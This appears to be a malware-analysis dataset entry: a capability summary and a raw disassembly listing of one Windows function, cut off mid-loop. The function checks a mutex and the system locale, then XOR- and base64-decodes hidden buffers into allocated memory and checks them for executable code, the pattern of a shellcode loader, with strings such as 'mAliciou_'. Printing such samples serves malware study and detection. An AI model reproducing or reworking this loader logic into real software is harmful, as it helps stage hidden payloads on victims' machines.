Function at 0x140001ea0
Capabilities:
Check mutex on windows
Create thread
Encode data using xor
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x700]
sub rsp, 0x800
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rbp + 0x6f8], rax
inc byte [str.68262982]
lea r8, str.EnjoyUniversalForeverByp4ss
inc byte [0x140026a71]
mov edx, 1
inc byte [0x140026a72]
xor ecx, ecx
inc byte [0x140026a73]
inc byte [0x140026a74]
inc byte [0x140026a75]
inc byte [0x140026a76]
inc byte [0x140026a77]
inc byte [0x140026a78]
inc byte [0x140026a79]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140003acd
call fcn.140005ad0
call qword [0x140027c78]
mov ecx, 0x40c
cmp ax, cx
jne 0x140003acd
call fcn.140005f90
movzx r14d, byte [str.mAliciou_]
movzx esi, byte [0x140026a81]
movzx eax, r14b
movzx edi, byte [0x140026a82]
xor al, 0x5e
movzx ebx, byte [0x140026a83]
movzx ecx, r14b
movzx r11d, byte [0x140026a84]
xor cl, 0x42
movzx r10d, byte [0x140026a85]
movzx r9d, byte [0x140026a86]
movzx r8d, byte [0x140026a87]
movzx edx, byte [0x140026a88]
mov byte [rbp + 0x680], al
movzx eax, sil
xor al, 0x74
mov byte [rbp + 0x690], cl
mov byte [rbp + 0x681], al
movzx eax, dil
xor al, 0x42
mov byte [rbp + 0x698], cl
mov byte [rbp + 0x682], al
movzx ecx, r14b
movzx eax, bl
mov byte [rbp + 0x68d], 0
xor al, 0x5b
mov byte [rbp + 0x694], 0
mov byte [rbp + 0x683], al
xor cl, 0x42
movzx eax, r11b
mov byte [rbp + 0x69c], 0
xor al, 0x52
mov byte [rbp + 0x6bb], 0
mov byte [rbp + 0x684], al
xor r11b, 0x5c
movzx eax, r10b
mov byte [rbp + 0x6cb], 0
xor al, 0x59
mov byte [rbp + 0x6b0], cl
mov byte [rbp + 0x685], al
xor r10b, 0x1f
movzx eax, r9b
mov byte [rbp + 0x6b4], r11b
xor al, 0x41
mov byte [rbp + 0x6b5], r10b
mov byte [rbp + 0x686], al
movzx eax, r8b
xor al, 0x46
mov byte [rbp + 0x687], al
movzx eax, dl
xor al, 0x10
mov byte [rbp + 0x688], al
movzx eax, r14b
xor al, 0x43
mov byte [rbp + 0x689], al
movzx eax, sil
xor al, 0x70
mov byte [rbp + 0x68a], al
movzx eax, dil
xor al, 0x54
xor dil, 0x5d
mov byte [rbp + 0x68b], al
movzx eax, bl
xor al, 0x5f
mov byte [rbp + 0x692], dil
mov byte [rbp + 0x68c], al
xor bl, 0x46
movzx eax, sil
mov byte [rbp + 0x693], bl
xor al, 0x37
mov byte [rbp + 0x69a], dil
mov byte [rbp + 0x691], al
mov byte [rbp + 0x699], al
movzx eax, sil
xor al, 0x37
mov byte [rbp + 0x69b], bl
mov byte [rbp + 0x6b1], al
xor r9b, 0x1c
mov byte [rbp + 0x6b2], dil
mov byte [rbp + 0x6b3], bl
xor r14b, 1
mov byte [rbp + 0x6c2], dil
xor edi, edi
mov byte [rbp + 0x6b9], r14b
xor r8b, 0x48
mov byte [rbp + 0x6c9], r14b
xor dl, 0x4b
mov qword [rsp + 0x30], rdi
xor sil, 0x25
mov dword [rsp + 0x38], edi
mov r14d, edi
mov byte [rbp + 0x6b6], r9b
mov byte [rbp + 0x6b7], r8b
mov byte [rbp + 0x6b8], dl
mov byte [rbp + 0x6ba], sil
mov byte [rbp + 0x6c0], cl
mov byte [rbp + 0x6c1], al
mov byte [rbp + 0x6c3], bl
mov byte [rbp + 0x6c4], r11b
mov byte [rbp + 0x6c5], r10b
mov byte [rbp + 0x6c6], r9b
mov byte [rbp + 0x6c7], r8b
mov byte [rbp + 0x6c8], dl
mov byte [rbp + 0x6ca], sil
call fcn.140003b00
lea r9, [rsp + 0x38]
mov dword [rsp + 0x20], 1
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x680]
call fcn.140001930
lea r12, [0x140000000]
mov r15, 0xffffffffffffffff
movabs r13, 0x2000880000000000
test eax, eax
je 0x1400023c9
movsxd r11, dword [rsp + 0x38]
mov r10d, edi
mov r8, qword [rsp + 0x30]
test r11, r11
jle 0x140002209
mov r9d, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x38e38e39
mov ecx, r10d
imul r10d
inc r10d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r12 + 0x26a80]
xor byte [r8 + r9], al
inc r9
cmp r9, r11
jl 0x1400021d0
mov r8, qword [rsp + 0x30]
test r8, r8
jne 0x140002213
mov rbx, rdi
jmp 0x140002242
mov rcx, r15
inc rcx
cmp byte [r8 + rcx], dil
jne 0x140002216
mov rax, rcx
shr rax, 2
lea rbx, [rax + rax*2]
test rcx, rcx
je 0x140002242
nop
dec rcx
cmp byte [rcx + r8], 0x3d
jne 0x140002242
dec rbx
test rcx, rcx
jne 0x140002230
lea edx, [rbx + 1]
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov rdx, qword [rsp + 0x30]
mov r14, rax
test rdx, rdx
je 0x1400023b7
test rax, rax
je 0x1400023b7
mov r9, r15
nop word [rax + rax]
inc r9
cmp byte [rdx + r9], dil
jne 0x140002280
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rdx + rcx], dil
jne 0x140002290
mov rax, rcx
shr rax, 2
lea r8, [rax + rax*2]
test rcx, rcx
je 0x1400022c1
nop dword [rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x1400022c1
dec r8
test rcx, rcx
jne 0x1400022b0
cmp rbx, r8
jb 0x1400023b7
test r9b, 3
jne 0x1400023b7
mov r8, rdi
test r9, r9
je 0x14000239b
movsx rcx, byte [r8 + rdx]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000230d
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x14000230d
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x14000230d
cmp cl, 0x3d
ja 0x1400023b7
bt r13, rcx
jae 0x1400023b7
inc r8
cmp r8, r9
jb 0x1400022e0
add rdx, 2
lea r8, [r14 + 2]
dec r9
shr r9, 2
inc r9
movsx rax, byte [rdx - 2]
movsx r10, byte [rdx]
mov ecx, dword [r12 + rax*4 + 0x234a4]
movsx rax, byte [rdx - 1]
shl ecx, 6
or ecx, dword [r12 + rax*4 + 0x234a4]
shl ecx, 6
cmp r10b, 0x3d
je 0x140002359
or ecx, dword [r12 + r10*4 + 0x234a4]
movsx rax, byte [rdx + 1]
shl ecx, 6
cmp al, 0x3d
je 0x14000236d
or ecx, dword [r12 + rax*4 + 0x234a4]
mov eax, ecx
sar eax, 0x10
mov byte [r8 - 2], al
cmp byte [rdx], 0x3d
je 0x140002384
mov eax, ecx
sar eax, 8
mov byte [r8 - 1], al
cmp byte [rdx + 1], 0x3d
je 0x14000238d
mov byte [r8], cl
add rdx, 4
add r8, 3
sub r9, 1
jne 0x140002327
mov eax, dword [rsp + 0x38]
mov byte [rax + r14], dil
cmp byte [r14], 0x48
jne 0x1400023bf
cmp byte [r14 + 1], 0x8b
jne 0x1400023bf
mov ebx, 1
jmp 0x1400023c1
mov eax, dword [rsp + 0x38]
mov byte [rax + r14], dil
mov ebx, edi
test ebx, ebx
jne 0x140002a81
call fcn.1400046c0
lea r9, [rsp + 0x38]
mov dword [rsp + 0x20], 1
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x690]
lea rcx, [rbp + 0x680]
call fcn.140001c00
test eax, eax
je 0x140002609
movsxd r11, dword [rsp + 0x38]
mov r10d, edi
mov r8, qword [rsp + 0x30]
test r11, r11
jle 0x140002449
mov r9, rdi
mov eax, 0x38e38e39
mov ecx, r10d
imul r10d
inc r10d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r12 + 0x26a80]
xor byte [r8 + r9], al
inc r9
cmp r9, r11
jl 0x140002410
mov r8, qword [rsp + 0x30]
test r8, r8
jne 0x140002453
mov rbx, rdi
jmp 0x140002482
mov rcx, r15
inc rcx
cmp byte [r8 + rcx], dil
jne 0x140002456
mov rax, rcx
shr rax, 2
lea rbx, [rax + rax*2]
test rcx, rcx
je 0x140002482
nop
dec rcx
cmp byte [rcx + r8], 0x3d
jne 0x140002482
dec rbx
test rcx, rcx
jne 0x140002470
lea edx, [rbx + 1]
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov rdx, qword [rsp + 0x30]
mov r14, rax
test rdx, rdx
je 0x1400025f7
test rax, rax
je 0x1400025f7
mov r9, r15
nop word [rax + rax]
inc r9
cmp byte [rdx + r9], dil
jne 0x1400024c0
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rdx + rcx], dil
jne 0x1400024d0
mov rax, rcx
shr rax, 2
lea r8, [rax + rax*2]
test rcx, rcx
je 0x140002501
nop dword [rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x140002501
dec r8
test rcx, rcx
jne 0x1400024f0
cmp rbx, r8
jb 0x1400025f7
test r9b, 3
jne 0x1400025f7
mov r8, rdi
test r9, r9
je 0x1400025db
movsx rcx, byte [r8 + rdx]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000254d
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x14000254d
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x14000254d
cmp cl, 0x3d
ja 0x1400025f7
bt r13, rcx
jae 0x1400025f7
inc r8
cmp r8, r9
jb 0x140002520
add rdx, 2
lea r8, [r14 + 2]
dec r9
shr r9, 2
inc r9
movsx rax, byte [rdx - 2]
movsx r10, byte [rdx]
mov ecx, dword [r12 + rax*4 + 0x234a4]
movsx rax, byte [rdx - 1]
shl ecx, 6
or ecx, dword [r12 + rax*4 + 0x234a4]
shl ecx, 6
cmp r10b, 0x3d
je 0x140002599
or ecx, dword [r12 + r10*4 + 0x234a4]
movsx rax, byte [rdx + 1]
shl ecx, 6
cmp al, 0x3d
je 0x1400025ad
or ecx, dword [r12 + rax*4 + 0x234a4]
mov eax, ecx
sar eax, 0x10
mov byte [r8 - 2], al
cmp byte [rdx], 0x3d
je 0x1400025c4
mov eax, ecx
sar eax, 8
mov byte [r8 - 1], al
cmp byte [rdx + 1], 0x3d
je 0x1400025cd
mov byte [r8], cl
add rdx, 4
add r8, 3
sub r9, 1
jne 0x140002567
mov eax, dword [rsp + 0x38]
mov byte [rax + r14], dil
cmp byte [r14], 0x48
jne 0x1400025ff
cmp byte [r14 + 1], 0x8b
jne 0x1400025ff
mov ebx, 1
jmp 0x140002601
mov eax, dword [rsp + 0x38]
mov byte [rax + r14], dil
mov ebx, edi
test ebx, ebx
jne 0x140002a81
lea r9, [rsp + 0x38]
mov dword [rsp + 0x20], edi
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0x680]
call fcn.140001930
test eax, eax
je 0x140002849
movsxd r11, dword [rsp + 0x38]
mov r10d, edi
mov r8, qword [rsp + 0x30]
test r11, r11
jle 0x140002689
mov r9, rdi
nop word [rax + rax]
mov eax, 0x38e38e39
mov ecx, r10d
imul r10d
inc r10d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r12 + 0x26a80]
xor byte [r8 + r9], al
inc r9
cmp r9, r11
jl 0x140002650
mov r8, qword [rsp + 0x30]
test r8, r8
jne 0x140002693
mov rbx, rdi
jmp 0x1400026c2
mov rcx, r15
inc rcx
cmp byte [r8 + rcx], dil
jne 0x140002696
mov rax, rcx
shr rax, 2
lea rbx, [rax + rax*2]
test rcx, rcx
je 0x1400026c2
nop
dec rcx
cmp byte [rcx + r8], 0x3d
jne 0x1400026c2
dec rbx
test rcx, rcx
jne 0x1400026b0
lea edx, [rbx + 1]
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov rdx, qword [rsp + 0x30]
mov r14, rax
test rdx, rdx
je 0x140002837
test rax, rax
je 0x140002837
mov r9, r15
nop word [rax + rax]
inc r9
cmp byte [rdx + r9], dil
jne 0x140002700
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rdx + rcx], dil
jne 0x140002710
mov rax, rcx
shr rax, 2
lea r8, [rax + rax*2]
test rcx, rcx
je 0x140002741
nop dword [rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x140002741
dec r8
test rcx, rcx
jne 0x140002730
cmp rbx, r8
jb 0x140002837
test r9b, 3
jne 0x140002837
mov r8, rdi
test r9, r9
je 0x14000281b
movsx rcx, byte [r8 + rdx]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000278d
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x14000278d
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x14000278d
cmp cl, 0x3d
ja 0x140002837
bt r13, rcx
jae 0x140002837
inc r8
cmp r8, r9
jb 0x140002760
add rdx, 2
lea r8, [r14 + 2]
dec r9
shr r9, 2
inc r9
movsx rax, byte [rdx - 2]
movsx r10, byte [rdx]
mov ecx, dword [r12 + rax*4 + 0x234a4]
movsx rax, byte [rdx - 1]
shl ecx, 6
or ecx, dword [r12 + rax*4 + 0x234a4]
shl ecx, 6
cmp r10b, 0x3d
je 0x1400027d9
or ecx, dword [r12 + r10*4 + 0x234a4]
movsx rax, byte [rdx + 1]
shl ecx, 6
cmp al, 0x3d
je 0x1400027ed
or ecx, dword [r12 + rax*4 + 0x234a4]
mov eax, ecx
sar eax, 0x10
mov byte [r8 - 2], al
cmp byte [rdx], 0x3d
je 0x140002804
mov eax, ecx
sar eax, 8
mov byte [r8 - 1], al
cmp byte [rdx + 1], 0x3d
je 0x14000280d
mov byte [r8], cl
add rdx, 4
add r8, 3
sub r9, 1
jne 0x1400027a7
mov eax, dword [rsp + 0x38]
mov byte [rax + r14], dil
cmp byte [r14], 0x48
jne 0x14000283f
cmp byte [r14 + 1], 0x8b
jne 0x14000283f
mov ebx, 1
jmp 0x140002841
mov eax, dword [rsp + 0x38]
mov byte [rax + r14], dil
mov ebx, edi
test ebx, ebx
jne 0x140002a81
lea r9, [rsp + 0x38]
mov dword [rsp + 0x20], edi
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x698]
lea rcx, [rbp + 0x680]
call fcn.140001c00
test eax, eax
je 0x140002a7f
movsxd r11, dword [rsp + 0x38]
mov r10d, edi
mov r8, qword [rsp + 0x30]
test r11, r11
jle 0x1400028c9
mov r9, rdi
nop word [rax + rax]
mov eax, 0x38e38e39
mov ecx, r10d
imul r10d
inc r10d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r12 + 0x26a80]
xor byte [r8 + r9], al
inc r9
cmp r9, r11
jl 0x140002890
mov r8, qword [rsp + 0x30]
test r8, r8
jne 0x1400028d3
mov rbx, rdi
jmp 0x140002902
mov rcx, r15
inc rcx
cmp byte [r8 + rcx], dil
jne 0x1400028d6
mov rax, rcx
shr rax, 2
lea rbx, [rax + rax*2]
test rcx, rcx
je 0x140002902
nop
dec rcx
cmp byte [rcx + r8], 0x3d
jne 0x140002902
dec rbx
test rcx, rcx
jne 0x1400028f0
lea edx, [rbx + 1]
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov rdx, qword [rsp + 0x30]
mov r14, rax
test rdx, rdx
je 0x140002a77
test rax, rax
je 0x140002a77
mov r9, r15
nop word [rax + rax]
inc r9
cmp byte [rdx + r9], dil
jne 0x140002940
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rdx + rcx], dil
jne 0x140002950
mov rax, rcx
shr rax, 2
lea r8, [rax + rax*2]
test rcx, rcx
je 0x140002981
nop dword [rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x140002981
dec r8
test rcx, rcx
jne 0x140002970
cmp rbx, r8
jb 0x140002a77
test r9b, 3
jne 0x140002a77
mov r8, rdi
test r9, r9
je 0x140002a5b
movsx rcx, byte [r8 + rdx]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x1400029cd
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x1400029cd
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x1400029cd
cmp cl, 0x3d
ja 0x140002a77
bt r13, rcx
jae 0x140002a77
inc r8
cmp r8, r9
jb 0x1400029a0
add rdx, 2
lea r8, [r14 + 2]
dec r9
shr r9, 2
inc r9
movsx rax, byte [rdx - 2]
movsx r10, byte [rdx]
mov ecx, dword [r12 + rax*4 + 0x234a4]
movsx rax, byte [rdx - 1]
shl ecx, 6
or ecx, dword [r12 + rax*4 + 0x234a4]
shl ecx, 6
cmp r10b, 0x3d
je 0x140002a19
or ecx, dword [r12 + r10*4 + 0x234a4]
movsx rax, byte [rdx + 1]
shl ecx, 6
cmp al, 0x3d
je 0x140002a2d
or ecx, dword [r12 + rax*4 + 0x234a4]
mov eax, ecx
sar eax, 0x10
mov byte [r8 - 2], al
cmp byte [rdx], 0x3d
je 0x140002a44
mov eax, ecx
sar eax, 8
mov byte [r8 - 1], al
cmp byte [rdx + 1], 0x3d
je 0x140002a4d
mov byte [r8], cl
add rdx, 4
add r8, 3
sub r9, 1
jne 0x1400029e7
mov eax, dword [rsp + 0x38]
mov byte [rax + r14], dil
cmp byte [r14], 0x48
jne 0x140002a7f
cmp byte [r14 + 1], 0x8b
jne 0x140002a7f
mov ebx, 1
jmp 0x140002a81
mov eax, dword [rsp + 0x38]
mov byte [rax + r14], dil
mov ebx, edi
mov rcx, qword [0x140027c40]
call qword [0x140027c30]
mov rcx, qword [0x140027c58]
mov qword [0x140027cc0], rdi
mov qword [0x140027ce8], rdi
mov qword [0x140027c90], rdi
mov qword [0x140027d10], rdi
mov qword [0x140027cb0], rdi
mov qword [0x140027ce0], rdi
mov qword [0x140027d08], rdi
mov qword [0x140027cd0], rdi
mov qword [0x140027c88], rdi
mov qword [0x140027d00], rdi
call qword [0x140027c30]
xor eax, eax
mov qword [0x140027c80], rdi
mov qword [0x140027cd8], rdi
mov qword [0x140027c98], rdi
mov qword [0x140027cc8], rdi
mov qword [0x140027cf0], rdi
mov qword [0x140027cb8], rdi
mov qword [0x140027ca0], rdi
mov qword [0x140027cf8], rdi
mov qword [0x140027ca8], rdi
mov dword [rbp + 0x690], eax
mov byte [rbp + 0x694], al
mov dword [rbp + 0x698], eax
mov byte [rbp + 0x69c], al
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x6b8], eax
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x6c8], eax
test ebx, ebx
jne 0x1400039c5
call fcn.140005100
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x198
call fcn.140019830
mov ecx, 0x202
lea rdx, [rsp + 0x50]
call qword [0x140027d68]
movzx esi, byte [str.mAliciou_]
movzx ebx, byte [0x140026a82]
movzx eax, sil
xor al, 0x5e
movzx r11d, byte [0x140026a83]
mov byte [rbp + 0x6d0], al
movzx r10d, byte [0x140026a84]
movzx r9d, byte [0x140026a85]
movzx r8d, byte [0x140026a86]
movzx edx, byte [0x140026a87]
movzx ecx, byte [0x140026a88]
mov byte [rbp + 0x6e1], dil
mov byte [rbp + 0x6ae], dil
movzx edi, byte [0x140026a81]
movzx eax, dil
mov byte [rbp + 0x6df], r8b
xor al, 0x74
mov byte [rbp + 0x6d1], al
movzx eax, bl
xor al, 0x41
mov byte [rbp + 0x6d2], al
movzx eax, r11b
xor al, 0x5b
mov byte [rbp + 0x6d3], al
movzx eax, r10b
xor al, 0x52
mov byte [rbp + 0x6d4], al
movzx eax, r9b
xor al, 0x59
mov byte [rbp + 0x6d5], al
movzx eax, r8b
xor al, 0x42
mov byte [rbp + 0x6d6], al
movzx eax, dl
xor al, 0x46
mov byte [rbp + 0x6d7], al
movzx eax, cl
xor al, 0x10
mov byte [rbp + 0x6d8], al
movzx eax, sil
xor al, 0x40
mov byte [rbp + 0x6d9], al
movzx eax, dil
xor al, 0x70
mov byte [rbp + 0x6da], al
movzx eax, bl
xor al, 0x54
mov byte [rbp + 0x6db], al
movzx eax, r11b
xor al, 0x5f
mov byte [rbp + 0x6dc], al
movzx eax, r10b
xor al, 0x4d
mov byte [rbp + 0x6dd], al
movzx eax, r9b
xor al, 0xa
mov byte [rbp + 0x6de], al
movzx eax, dl
xor al, 0x18
mov byte [rbp + 0x6e0], al
movzx eax, sil
xor al, 0xc
mov byte [rbp + 0x6a0], al
movzx eax, dil
xor al, 0x31
mov byte [rbp + 0x6a1], al
movzx eax, bl
xor al, 0x1c
mov byte [rbp + 0x6a2], al
movzx eax, r11b
xor al, 0x47
mov byte [rbp + 0x6a3], al
movzx eax, r10b
xor r9b, 6
mov dword [rsp + 0x20], 1
xor r8b, 0x1c
mov byte [rbp + 0x6a5], r9b
xor dl, 0x1e
mov byte [rbp + 0x6a6], r8b
xor cl, 0x4b
mov byte [rbp + 0x6a7], dl
xor bl, 0x42
mov byte [rbp + 0x6a8], cl
xor al, 4
mov byte [rbp + 0x6ab], bl
xor r11b, 0xc
mov byte [rbp + 0x6a4], al
xor r10b, 0x16
mov byte [rbp + 0x6ac], r11b
xor sil, 0x1d
mov byte [rbp + 0x6ad], r10b
xor dil, 0x24
mov byte [rbp + 0x6a9], sil
lea r9, [rsp + 0x38]
mov byte [rbp + 0x6aa], dil
lea r8, [rsp + 0x30]
xor ebx, ebx
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x6d0]
call fcn.1400015a0
test eax, eax
je 0x140002ffd
mov rdx, qword [rsp + 0x30]
test rdx, rdx
jne 0x140002d6b
xor esi, esi
jmp 0x140002da1
mov rcx, r15
nop
inc rcx
cmp byte [rdx + rcx], bl
jne 0x140002d70
mov rax, rcx
shr rax, 2
lea rsi, [rax + rax*2]
test rcx, rcx
je 0x140002da1
nop dword [rax + rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x140002da1
dec rsi
test rcx, rcx
jne 0x140002d90
lea rdx, [rsi + 1]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov rdx, qword [rsp + 0x30]
mov rdi, rax
test rdx, rdx
je 0x140002fd0
test rax, rax
je 0x140002fd0
mov r9, r15
inc r9
cmp byte [rdx + r9], bl
jne 0x140002dd6
mov rcx, r15
inc rcx
cmp byte [rdx + rcx], bl
jne 0x140002de2
mov rax, rcx
shr rax, 2
lea r8, [rax + rax*2]
test rcx, rcx
je 0x140002e11
nop word [rax + rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x140002e11
dec r8
test rcx, rcx
jne 0x140002e00
cmp rsi, r8
jb 0x140002fd0
test r9b, 3
jne 0x140002fd0
xor r8d, r8d
test r9, r9
je 0x140002eeb
movsx rcx, byte [r8 + rdx]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x140002e5d
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x140002e5d
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x140002e5d
cmp cl, 0x3d
ja 0x140002fd0
bt r13, rcx
jae 0x140002fd0
inc r8
cmp r8, r9
jb 0x140002e30
add rdx, 2
lea r8, [rdi + 2]
dec r9
shr r9, 2
inc r9
movsx rax, byte [rdx - 2]
movsx r10, byte [rdx]
mov ecx, dword [r12 + rax*4 + 0x234a4]
movsx rax, byte [rdx - 1]
shl ecx, 6
or ecx, dword [r12 + rax*4 + 0x234a4]
shl ecx, 6
cmp r10b, 0x3d
je 0x140002ea9
or ecx, dword [r12 + r10*4 + 0x234a4]
movsx rax, byte [rdx + 1]
shl ecx, 6
cmp al, 0x3d
je 0x140002ebd
or ecx, dword [r12 + rax*4 + 0x234a4]
mov eax, ecx
sar eax, 0x10
mov byte [r8 - 2], al
cmp byte [rdx], 0x3d
je 0x140002ed4
mov eax, ecx
sar eax, 8
mov byte [r8 - 1], al
cmp byte [rdx + 1], 0x3d
je 0x140002edd
mov byte [r8], cl
add rdx, 4
add r8, 3
sub r9, 1
jne 0x140002e77
mov dword [rsp + 0x38], esi
xor r8d, r8d
mov byte [rsi + rdi], bl
movsxd r10, dword [rsp + 0x38]
test r10, r10
jle 0x140002f46
mov r9, rdi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x38e38e39
lea r9, [r9 + 1]
imul r8d
mov ecx, r8d
inc r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r12 + 0x26a80]
xor byte [r9 - 1], al
sub r10, 1
jne 0x140002f10
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], bl
jne 0x140002f50
mov rax, rcx
shr rax, 2
lea rbx, [rax + rax*2]
test rcx, rcx
je 0x140002f81
nop dword [rax + rax]
dec rcx
cmp byte [rcx + rdi], 0x3d
jne 0x140002f81
dec rbx
test rcx, rcx
jne 0x140002f70
lea edx, [rbx + 1]
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov r8, rbx
mov rcx, rdi
mov rdx, rax
mov r14, rax
call fcn.140006a30
mov ecx, dword [rsp + 0x38]
mov byte [rcx + r14], 0
test eax, eax
jle 0x140002fce
cmp byte [r14], 0x48
jne 0x140002fce
cmp byte [r14 + 1], 0x8b
jne 0x140002fce
mov ebx, 1
jmp 0x140002fd0
xor ebx, ebx
mov r8, rsi
xor edx, edx
mov rcx, rdi
call fcn.140019830
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [0x140027d30]
test ebx, ebx
je 0x140002ffd
mov r13d, 1
jmp 0x14000390b
xor r13d, r13d
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
mov dword [rsp + 0x20], r13d
lea rdx, [rbp + 0x680]
mov rbx, r14
lea rcx, [rbp + 0x6d0]
call fcn.1400015a0
test eax, eax
je 0x1400032df
mov rdx, qword [rsp + 0x30]
test rdx, rdx
jne 0x14000303c
xor r12d, r12d
jmp 0x140003071
mov rcx, r15
nop
inc rcx
cmp byte [rdx + rcx], r13b
jne 0x140003040
mov rax, rcx
shr rax, 2
lea r12, [rax + rax*2]
test rcx, rcx
je 0x140003071
nop dword [rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x140003071
dec r12
test rcx, rcx
jne 0x140003060
lea rdx, [r12 + 1]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov rdx, qword [rsp + 0x30]
mov rsi, rax
test rdx, rdx
je 0x1400032ba
test rax, rax
je 0x1400032ba
mov r9, r15
inc r9
cmp byte [rdx + r9], r13b
jne 0x1400030a7
mov rcx, r15
inc rcx
cmp byte [rdx + rcx], r13b
jne 0x1400030b3
mov rax, rcx
shr rax, 2
lea r8, [rax + rax*2]
test rcx, rcx
je 0x1400030e1
nop dword [rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x1400030e1
dec r8
test rcx, rcx
jne 0x1400030d0
cmp r12, r8
jb 0x1400032ba
test r9b, 3
jne 0x1400032ba
xor r8d, r8d
test r9, r9
je 0x1400031d6
movabs r10, 0x2000880000000000
nop word [rax + rax]
movsx rcx, byte [r8 + rdx]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000313d
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x14000313d
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x14000313d
cmp cl, 0x3d
ja 0x1400032ba
bt r10, rcx
jae 0x1400032ba
inc r8
cmp r8, r9
jb 0x140003110
add rdx, 2
lea r8, [rsi + 2]
dec r9
lea r11, [0x140000000]
shr r9, 2
inc r9
nop
movsx rax, byte [rdx - 2]
movsx r10, byte [rdx]
mov ecx, dword [r11 + rax*4 + 0x234a4]
movsx rax, byte [rdx - 1]
shl ecx, 6
or ecx, dword [r11 + rax*4 + 0x234a4]
shl ecx, 6
cmp r10b, 0x3d
je 0x140003192
or ecx, dword [r11 + r10*4 + 0x234a4]
movsx rax, byte [rdx + 1]
shl ecx, 6
cmp al, 0x3d
je 0x1400031a6
or ecx, dword [r11 + rax*4 + 0x234a4]
mov eax, ecx
sar eax, 0x10
mov byte [r8 - 2], al
cmp byte [rdx], 0x3d
je 0x1400031bd
mov eax, ecx
sar eax, 8
mov byte [r8 - 1], al
cmp byte [rdx + 1], 0x3d
je 0x1400031c6
mov byte [r8], cl
add rdx, 4
add r8, 3
sub r9, 1
jne 0x140003160
jmp 0x1400031dd
lea r11, [0x140000000]
mov dword [rsp + 0x38], r12d
xor r8d, r8d
mov byte [r12 + rsi], r13b
movsxd r10, dword [rsp + 0x38]
test r10, r10
jle 0x140003236
mov r9, rsi
nop word [rax + rax]
mov eax, 0x38e38e39
lea r9, [r9 + 1]
imul r8d
mov ecx, r8d
inc r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
movsxd rax, ecx
